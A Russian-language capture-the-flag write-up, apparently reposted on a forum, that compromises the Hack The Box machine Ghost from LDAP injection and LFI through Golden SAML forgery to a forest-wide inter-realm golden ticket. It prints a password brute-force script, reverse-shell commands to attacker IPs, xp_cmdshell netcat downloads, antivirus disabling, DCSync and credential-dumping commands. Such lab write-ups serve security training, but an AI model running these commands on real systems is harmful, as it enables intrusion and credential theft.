stihl не предоставил(а) никакой дополнительной информации.
В этот раз мы пройдем путь от LDAP Injection и LFI до Command Injection в веб‑приложении. Захватив Linux-машину в домене, получим пользовательский тикет Kerberos и проведем DNS Spoofing. После получения еще одной доменной учетки скомпрометируем учетную запись службы ADFS и с помощью техники Golden SAML сделаем токен для доступа к сайту от имени админа.
Через связанные серверы Microsoft SQL получим сессию от имени службы, а затем поднимем привилегии на контроллере дочернего домена. Через Inter-realm golden ticket скомпрометируем контроллер домена всего леса.
Наша цель — получение прав суперпользователя на машине Ghost с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 19 открытых портов:
Главная страница сайта core.ghost.htb
Если перейти к логину через ADFS, получим редирект на новый поддомен.
Редирект на новый адрес
Добавляем новый поддомен в /etc/hosts.
Главная страница federation.ghost.htb
На порте 8008 нас встретит какой‑то блог.
Главная страница ghost.htb:8008
или Зарегистрируйся.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Задаем все параметры и запускаем:
Результат сканирования поддоменов
Находим еще два домена, которые добавляем в /etc/hosts.
На первом нас встречает Gitea, а на втором — страница авторизации.
Пользователи Gitea
Страница авторизации Intranet Login
Если просмотреть запрос на логин через Burp History, названия параметров дадут понять, что используется LDAP-аутентификация.
Запрос к странице /login
Запрос на сервер в Burp Repeater
Повторим вход через браузер и просмотрим, что есть интересного на сайте.
Главная страница сайта
На странице Users получаем список всех пользователей.
Страница Users
На странице Forum находим интересную информацию. У пользователя недоступен сервис bitbucket.ghost.htb, так как для него отсутствует запись DNS. Вернемся к этому, как только получим возможность создавать записи на DNS-сервере.
Страница Forum
Так как на сайте есть LDAP-инъекция, мы можем попытаться посимвольно подобрать пароли пользователей. Для первого символа будем подбирать варианты a*, b*, c* и так далее. Успешный логон означает верно подобранный пароль. Автоматизировать подбор можно следующим скриптом, а подбирать будем пароль для учетной записи gitea_temp_principal.
Подбор пароля пользователя
Пароль успешно подобран, с полученными учетными данными залогинимся в Gitea.
Главная страница Gitea
README проекта blog
Просмотрим исходный код posts-public.js. Там интересен эндпоинт posts, который в каталоге /var/lib/ghost/extra/ читает файл, переданный в параметре extra. При этом никакой фильтрации названия файла нет, так что тут просматривается потенциальная уязвимость LFI.
Содержимое файла posts-public.js
Информацию об API удалось найти в официальной справке CMS Ghost.
Справка Developer docs
Проверим, обрабатывается ли URL Для просмотра ссылки Войдиили Зарегистрируйся на сервере.
Тестирование API
Теперь переберем эндпоинты с помощью сканера Для просмотра ссылки Войдиили Зарегистрируйся.
При запуске укажем следующие параметры:
Результат перебора API
В списке есть нужный нам posts. В запросе к этому API передаем токен, а также путь к файлу /etc/passwd с обходом каталогов.
Ответ сервера
В ответе сервера получаем содержимое запрошенного файла, а значит, уязвимость LFI присутствует. Получим переменные окружения, среди которых должен быть и DEV_INTRANET_KEY.
Переменные окружения
Перейдем ко второму сервису.
Исходный код приложения
Затем среди всех эндпоинтов найдем функцию сканирования. Параметр url передается в командную оболочку bash без каких‑либо предварительных проверок.
Исходный код функции scan
Попробуем выполнить инъекцию команды id.
Ответ сервера
Результат выполнения команды есть в ответе сервера, а значит, запускаем листенер (pwncat-cs -lp 4321) и кидаем реверс‑шелл.
Сессия пользователя root
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе много всего, так что нужно пройтись и выбрать только важную для дальнейшего продвижения информацию.
В переменных окружения будет несколько паролей. Однако применить их негде.
Переменные окружения
В домашнем каталоге рута есть SSH-конфиг для пользователя florence.ramirez.
Содержимое домашнего каталога root
Осталось просто подключиться к хосту dev-workstation.
Сессия пользователя florence.ramirez
Содержимое файла /etc/krb5.conf
Имея пользователя домена, попробуем провернуть атаку DNS Spoofing. Для этого на своей машине запустим листенер:
Теперь создадим запись для имени bitbucket.ghost.htb. Для этого сдампим тикет пользователя и перенесем на свою машину.
Перенос билета Kerberos
Декодировав тикет обратно на своей машине, выполним его проверку через NetExec.
Проверка билета
Аутентификация пройдена, а значит, с билетом все в порядке. Осталось с помощью Для просмотра ссылки Войдиили Зарегистрируйся создать DNS-запись bitbucket.ghost.htb, которая будет резолвиться в адрес нашей машины с респондером.
Создание DNS-записи
Теперь, когда пользователь обратится к машине bitbucket, он пройдет аутентификацию на нашем сервере. Так мы и получаем NTLMv2-хеш учетной записи justin.bradley.
Логи респондера
Сломать этот хеш труда не составило, пароль оказался словарным.
Результат подбора пароля
От имени нового пользователя подключаемся к WinRM и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся c помощью Для просмотра ссылки Войди или Зарегистрируйся. Скрипт требует указать DNS-сервер, а так как в этой лабе он недоступен, развернем свой с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся. Первым делом создадим для нее конфиг.
Затем передаем его в DNSChef и запускаем коллектор BloodHound.
Логи DNSChef
Логи коллектора BloodHound
Теперь строим графы BloodHound от скомпрометированных пользователей. У пользователя justin.bradley есть право ReadGMSAPassword на объект ADFS_GMSA$.
Граф BloodHound
Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля. Сделаем это с помощью NetExec.
Получение хеша учетной записи adfs_gmsa$
У нас есть хеш пароля учетной записи adfs_gmsa$, который позволяет авторизоваться по WinRM.
Информация о пользователе
Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server. Она реализует сервис маркеров доступа (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.
Основные операции:
Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограничены. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.
При компрометации учетной записи службы ADFS на сервере ADFS возможно провести атаку Golden SAML. Суть атаки в том, что после получения приватных данных ADFS, которые используются для создания SAMLResponce, атакующий может самостоятельно генерировать SAMLResponce для любых пользователей и сервисов.
Для этого с помощью Для просмотра ссылки Войдиили Зарегистрируйся нужно получить следующие данные:
Для просмотра ссылки Войдиили Зарегистрируйся
Данные ADFS
Полученные Private Key и Token Signing Key необходимо декодировать.
Затем используем Для просмотра ссылки Войдиили Зарегистрируйся, чтобы сгенерировать SAMLResponse пользователя на имя юзера Administrator@ghost.htb и сервиса core.ghost.htb.
Получение SAMLResponse
Следом выполняем и перехватываем через Burp Proxy запрос к сервису Для просмотра ссылки Войдиили Зарегистрируйся, изменяем метод с GET на POST и вставляем данные SAMLResponse.
Запрос к серверу core.ghost.htb
Отправляем данный запрос на сервер и в браузере видим страницу Ghost Config Panel.
Главная страница сайта core.ghost.htb
Информация о связанных серверах
Теперь нужно проверить привилегии пользователя базы данных и настройки олицетворения на связанном сервере. Следующим запросом можно определить, что мы можем выполнять команды на связанном сервере PRIMARY от имени административной учетной записи sa.
Настройки олицетворения на связанном сервере
Учетная запись sa имеет привилегии для конфигурирования сервера и выполнения команд в операционной системе через процедуру xp_cmdshell. Выполним две команды: загрузку netcat и запуск реверс‑шелла.
В листенер прилетает сессия от имени учетной записи службы базы данных.
Информация о пользователе
Обычно в таких случаях используется одна из Potato-программ, однако антивирус прибивает любой загруженный исполняемый файл. Чтобы обойти это, с помощью .NET Framework скомпилируем Для просмотра ссылки Войдиили Зарегистрируйся прямо на удаленном сервере. Но для начала проверим версии компонентов .NET Framework в каталоге C:\Windows\Microsoft.Net\Framework.
Содержимое каталога C:\Windows\Microsoft.Net\Framework
Воспользуемся версией v4.0.30319 и соберем исполняемый файл.
Сборка исполняемого файла
Когда все готово, запускаем листенер (rlwrap nc -nlvp 5432) и через EfsPotato выполняем реверс‑шелл.
Эксплуатация EfsPotato
В окне листенера получаем сессию от имени SYSTEM.
Сессия SYSTEM
Отключение антивируса
Теперь со своего веб‑сервера загрузим PowerShell-скрипт PowerView и просмотрим информацию о текущем домене, а также существующие доверительные отношения.
Информация о домене
Доверительные отношения домена
В лесу два домена, и мы скомпрометировали дочерний. Имея доступ к контроллеру дочернего домена, можно скомпрометировать и родительский. Для этого необходимо получить ключ доверия между доменами. Для домена corp.ghost.htb это ключ Kerberos учетной записи GHOST$. Получить его можно с помощью DCSync.
Учетные данные GHOST$
В выводе есть и SID текущего домена, нам остается узнать SID трастового домена.
Информация об учетной записи трастового домена
Теперь с помощью Для просмотра ссылки Войдиили Зарегистрируйся создадим междоменный золотой билет для несуществующего пользователя fake_admin. При этом в билете будет добавлен SID группы «Администраторы предприятия».
Создание золотого билета
С созданным билетом TGT получаем TGS для службы CIFS на контроллере родительского домена.
Получение TGS-билета
Так как в скриптах impacket атака AnySPN, которая заключается в замене SPN внутри билета, производится автоматически, сдампим учетные данные пользователя Administrator с контроллера родительского домена с полученным ранее билетом.
Дамп учетных данных
Осталось подключиться к DC01 по WinRM и забрать последний флаг.
evil-winrm -u 'Administrator' -H 1cdb17d5c14ff69e7067cffcc9e470bd -i 10.10.11.24
Флаг рута
Машина захвачена!
Через связанные серверы Microsoft SQL получим сессию от имени службы, а затем поднимем привилегии на контроллере дочернего домена. Через Inter-realm golden ticket скомпрометируем контроллер домена всего леса.
Наша цель — получение прав суперпользователя на машине Ghost с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.24 ghost.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел 19 открытых портов:
- 53 — DNS;
- 80 (HTTP) — веб‑сервер Microsoft;
- 88 — Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — СУБД Microsoft SQL;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — служба удаленного рабочего стола;
- 5985 — служба удаленного управления WinRM;
- порты 8008 и 8443 — веб‑сервер Nginx 1.18.0;
- 9389 — веб‑службы AD DS.
10.10.11.24 ghost.htb core.ghost.htb
Если перейти к логину через ADFS, получим редирект на новый поддомен.
Добавляем новый поддомен в /etc/hosts.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb
На порте 8008 нас встретит какой‑то блог.
Точка входа
Так как уже было найдено несколько поддоменов, методом перебора попробуем найти еще. Для сканирования поддоменов можно использовать Для просмотра ссылки ВойдиСправка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -u — URL;
- -H — HTTP-заголовок;
- -fs — фильтровать страницы по размеру.
Задаем все параметры и запускаем:
ffuf -u [URL]http://ghost.htb:8008[/URL] -H 'Host: FUZZ.ghost.htb:8008' -w dns-lists.txt -t 128 -fs 7676
Находим еще два домена, которые добавляем в /etc/hosts.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb gitea.ghost.htb intranet.ghost.htb
На первом нас встречает Gitea, а на втором — страница авторизации.
Если просмотреть запрос на логин через Burp History, названия параметров дадут понять, что используется LDAP-аутентификация.
LDAP Injection
Первым делом проверим инъекцию LDAP, для чего вместо логина и пароля передадим символ *, который будет воспринят как «любое количество любых символов». При сравнении с первыми же учетными данными из базы на стороне сервера аутентификация будет пройдена.Повторим вход через браузер и просмотрим, что есть интересного на сайте.
На странице Users получаем список всех пользователей.
На странице Forum находим интересную информацию. У пользователя недоступен сервис bitbucket.ghost.htb, так как для него отсутствует запись DNS. Вернемся к этому, как только получим возможность создавать записи на DNS-сервере.
Так как на сайте есть LDAP-инъекция, мы можем попытаться посимвольно подобрать пароли пользователей. Для первого символа будем подбирать варианты a*, b*, c* и так далее. Успешный логон означает верно подобранный пароль. Автоматизировать подбор можно следующим скриптом, а подбирать будем пароль для учетной записи gitea_temp_principal.
Код:
import string
import requests
url = 'http://intranet.ghost.htb:8008/login'
headers = {'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940'}
username = "gitea_temp_principal"
password = ""
while True:
for char in string.ascii_lowercase + string.digits:
files = {
'1_ldap-username': (None, username),
'1_ldap-secret': (None, f'{password}{char}*'),
'0': (None, '[{},"$K1"]')
}
res = requests.post(url, headers=headers, files=files)
if res.status_code == 303:
password += char
print(password)
break
else:
break
print()
print(f"Creds => {username}:{password}")
Пароль успешно подобран, с полученными учетными данными залогинимся в Gitea.
Точка опоры
LFI
Просмотрим проекты, начиная с репозитория blog. В README написано про функцию сканирования, которая находится в стадии разработки, поэтому доступна только с ключом DEV_INTRANET_KEY, который хранится в переменной среды. Для доступа к API блога нужно использовать токен a5af628828958c976a3b6cc81a.Просмотрим исходный код posts-public.js. Там интересен эндпоинт posts, который в каталоге /var/lib/ghost/extra/ читает файл, переданный в параметре extra. При этом никакой фильтрации названия файла нет, так что тут просматривается потенциальная уязвимость LFI.
Информацию об API удалось найти в официальной справке CMS Ghost.
Проверим, обрабатывается ли URL Для просмотра ссылки Войди
Теперь переберем эндпоинты с помощью сканера Для просмотра ссылки Войди
При запуске укажем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -d — глубина сканирования;
- -t — количество потоков.
feroxbuster -u [URL]http://ghost.htb:8008/ghost/api/content/[/URL] -w directory_2.3_medium_lowercase.txt -d 1 -t 128
В списке есть нужный нам posts. В запросе к этому API передаем токен, а также путь к файлу /etc/passwd с обходом каталогов.
[URL unfurl="true"]http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../etc/passwd[/URL]
В ответе сервера получаем содержимое запрошенного файла, а значит, уязвимость LFI присутствует. Получим переменные окружения, среди которых должен быть и DEV_INTRANET_KEY.
[URL unfurl="true"]http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../proc/self/environ[/URL]
Перейдем ко второму сервису.
Command Injection
В исходном коде сервиса сразу найдем все места, где используется ключ доступа. Ключ нужно передавать в соответствующем заголовке.Затем среди всех эндпоинтов найдем функцию сканирования. Параметр url передается в командную оболочку bash без каких‑либо предварительных проверок.
Попробуем выполнить инъекцию команды id.
curl -X POST [URL]http://intranet.ghost.htb:8008/api-dev/scan[/URL] -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"q; id"}' | jq
Результат выполнения команды есть в ответе сервера, а значит, запускаем листенер (pwncat-cs -lp 4321) и кидаем реверс‑шелл.
curl -X POST [URL]http://intranet.ghost.htb:8008/api-dev/scan[/URL] -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"q; sh -i >& /dev/tcp/10.10.16.31/4321 0>&1"}' | jq
Пользователь домена
Теперь нам необходимо собрать информацию. Я, как обычно, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе много всего, так что нужно пройтись и выбрать только важную для дальнейшего продвижения информацию.
В переменных окружения будет несколько паролей. Однако применить их негде.
В домашнем каталоге рута есть SSH-конфиг для пользователя florence.ramirez.
Осталось просто подключиться к хосту dev-workstation.
Дочерний домен
DNS Spoofing
Так как мы работаем в контексте доменного пользователя, сразу проверим настройки Kerberos в файле /etc/krb5.conf. Создадим соответствующие записи в файле /etc/hosts.Имея пользователя домена, попробуем провернуть атаку DNS Spoofing. Для этого на своей машине запустим листенер:
responder -i tun0
Теперь создадим запись для имени bitbucket.ghost.htb. Для этого сдампим тикет пользователя и перенесем на свою машину.
Декодировав тикет обратно на своей машине, выполним его проверку через NetExec.
KRB5CCNAME=florence.ramirez.ccache nxc smb dc01.ghost.htb -d ghost.htb -u florence.ramirez -k --use-kcache
Аутентификация пройдена, а значит, с билетом все в порядке. Осталось с помощью Для просмотра ссылки Войди
KRB5CCNAME=florence.ramirez.ccache python3 dnstool.py -u 'GHOST.HTB\florence.ramirez' -k -r bitbucket.ghost.htb -a add -d 10.10.16.31 -dns-ip 10.10.11.24 DC01.GHOST.HTB
Теперь, когда пользователь обратится к машине bitbucket, он пройдет аутентификацию на нашем сервере. Так мы и получаем NTLMv2-хеш учетной записи justin.bradley.
Сломать этот хеш труда не составило, пароль оказался словарным.
hashcat -m 5600 'justin.bradley::ghost:edb4330302715a...0000000' rockyou.txt
От имени нового пользователя подключаемся к WinRM и забираем первый флаг.
evil-winrm -u justin.bradley -p 'Qwertyuiop1234$$' -i 10.10.11.24
ADFS
Теперь, когда у нас есть валидная учетная запись, соберем данные для Для просмотра ссылки Войди
Код:
[A]
*.ghost.htb=10.10.11.24
[SRV]
_ldap._tcp.pdc._msdcs.ghost.htb=0 5 389 ghost.htb
_ldap._tcp.gc._msdcs.ghost.htb=0 5 389 ghost.htb
_kerberos._tcp.dc._msdcs.ghost.htb=0 5 88 ghost.htb
python3 dnschef.py --file ghost_dns.txt
python3 bloodhound.py -d ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' -c All -ns 127.0.0.1 --use-ldap --zip
Теперь строим графы BloodHound от скомпрометированных пользователей. У пользователя justin.bradley есть право ReadGMSAPassword на объект ADFS_GMSA$.
Управляемые учетные записи Active Directory
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем полностью управляет Active Directory.Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля. Сделаем это с помощью NetExec.
nxc ldap 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
У нас есть хеш пароля учетной записи adfs_gmsa$, который позволяет авторизоваться по WinRM.
evil-winrm -u 'adfs_gmsa$' -H d85668e5ce1d81853cac52625fcfd530 -i 10.10.11.24
Golden SAML
ADFS — это функция Active Directory, которая обеспечивает идентификацию доступа и дает возможность клиентам (в основном на базе браузеров), которые находятся внутри или за пределами локальной сети, получать доступ к веб‑приложениям по технологии Single-Sign-On (SSO). Так ADFS извлекает атрибуты пользователей из Active Directory, а также проверяет подлинность пользователей в AD.Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server. Она реализует сервис маркеров доступа (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.
Основные операции:
- первоначальная аутентификация пользователя;
- выпуск маркера доступа (Issue);
- проверка маркера доступа (Validate);
- обновление маркера доступа (Renew);
- аннулирование маркера доступа (Cancel).
Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограничены. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.
При компрометации учетной записи службы ADFS на сервере ADFS возможно провести атаку Golden SAML. Суть атаки в том, что после получения приватных данных ADFS, которые используются для создания SAMLResponce, атакующий может самостоятельно генерировать SAMLResponce для любых пользователей и сервисов.
Для этого с помощью Для просмотра ссылки Войди
- сертификат подписи токена и его закрытый ключ;
- ключ диспетчера распределенных ключей (DKM) из Active Directory;
- список служб, для которых сервер ADFS настроен в качестве поставщика удостоверений.
.\ADFSDump.exe
Для просмотра ссылки Войди
Полученные Private Key и Token Signing Key необходимо декодировать.
cat pk.txt | tr -d "-" | xxd -r -p > pk.bi
ncat tsk.txt | base64 -d > tsk.bin
Затем используем Для просмотра ссылки Войди
Код:
python3 ADFSpoof.py -b tsk.bin pk.bin -s 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --nameidformat 'urnasis:names:tc:SAML:1.1:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
Следом выполняем и перехватываем через Burp Proxy запрос к сервису Для просмотра ссылки Войди
Отправляем данный запрос на сервер и в браузере видим страницу Ghost Config Panel.
Microsoft SQL Server
Никаких привилегий у текущего пользователя базы данных нет. Олицетворения тоже не настроены. Однако в домене есть связанный сервер PRIMARY, найти который можно следующим запросом.EXEC sp_linkedservers;
Теперь нужно проверить привилегии пользователя базы данных и настройки олицетворения на связанном сервере. Следующим запросом можно определить, что мы можем выполнять команды на связанном сервере PRIMARY от имени административной учетной записи sa.
EXECUTE('SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE'';') AT "PRIMARY";
Учетная запись sa имеет привилегии для конфигурирования сервера и выполнения команд в операционной системе через процедуру xp_cmdshell. Выполним две команды: загрузку netcat и запуск реверс‑шелла.
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; reconfigure; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; reconfigure; exec xp_cmdshell ''curl 10.10.16.8:8000/nc64.exe -o C:\Windows\Tasks\nc.exe'';') AT "PRIMARY"
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; reconfigure; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; reconfigure; exec xp_cmdshell ''cmd /c C:\Windows\Tasks\nc.exe 10.10.16.8 4321 -e cmd.exe'';') AT "PRIMARY"
В листенер прилетает сессия от имени учетной записи службы базы данных.
Локальное повышение привилегий
У пользователя активна привилегия SeImpersonatePrivilege (право «Олицетворять клиента после проверки подлинности»). Документация гласит следующее:Другими словами, эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить, чаще всего это SYSTEM. Это явный вектор для повышения привилегий!Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Обычно в таких случаях используется одна из Potato-программ, однако антивирус прибивает любой загруженный исполняемый файл. Чтобы обойти это, с помощью .NET Framework скомпилируем Для просмотра ссылки Войди
Воспользуемся версией v4.0.30319 и соберем исполняемый файл.
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe ep.cs -nowarn:1691,618
Когда все готово, запускаем листенер (rlwrap nc -nlvp 5432) и через EfsPotato выполняем реверс‑шелл.
.\ep.exe "C:\Windows\Tasks\ep.exe 10.10.16.8 5432 -e cmd.exe"
В окне листенера получаем сессию от имени SYSTEM.
Корневой домен
Первым делом отключим антивирус, чтобы он нам не мешал.Set-MpPreference -DisableRealtimeMonitoring $True
Теперь со своего веб‑сервера загрузим PowerShell-скрипт PowerView и просмотрим информацию о текущем домене, а также существующие доверительные отношения.
Код:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.8:8000/PowerView4.ps1')
Get-Domain
Get-DomainTrust
В лесу два домена, и мы скомпрометировали дочерний. Имея доступ к контроллеру дочернего домена, можно скомпрометировать и родительский. Для этого необходимо получить ключ доверия между доменами. Для домена corp.ghost.htb это ключ Kerberos учетной записи GHOST$. Получить его можно с помощью DCSync.
mimikatz "lsadump::dcsync /domain:corp.ghost.htb /user:GHOST$" "exit"
В выводе есть и SID текущего домена, нам остается узнать SID трастового домена.
Теперь с помощью Для просмотра ссылки Войди
ticketer.py -nthash 8336b1a09e8c242d272d3762b95c0e5e -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/GHOST.HTB -domain corp.GHOST.HTB fake_admin
С созданным билетом TGT получаем TGS для службы CIFS на контроллере родительского домена.
KRB5CCNAME=fake_admin.ccache getST.py -k -no-pass -spn CIFS/DC01.GHOST.HTB GHOST.HTB/[EMAIL]fake_admin@GHOST.HTB[/EMAIL]
Так как в скриптах impacket атака AnySPN, которая заключается в замене SPN внутри билета, производится автоматически, сдампим учетные данные пользователя Administrator с контроллера родительского домена с полученным ранее билетом.
KRB5CCNAME=[EMAIL]fake_admin@GHOST.HTB[/EMAIL]@[EMAIL]CIFS_DC01.GHOST.HTB@GHOST.HTB.ccache[/EMAIL] secretsdump.py -k -no-pass [EMAIL]fake_admin@DC01.GHOST.HTB[/EMAIL] -just-dc-user 'ghost/Administrator'
Осталось подключиться к DC01 по WinRM и забрать последний флаг.
evil-winrm -u 'Administrator' -H 1cdb17d5c14ff69e7067cffcc9e470bd -i 10.10.11.24
Машина захвачена!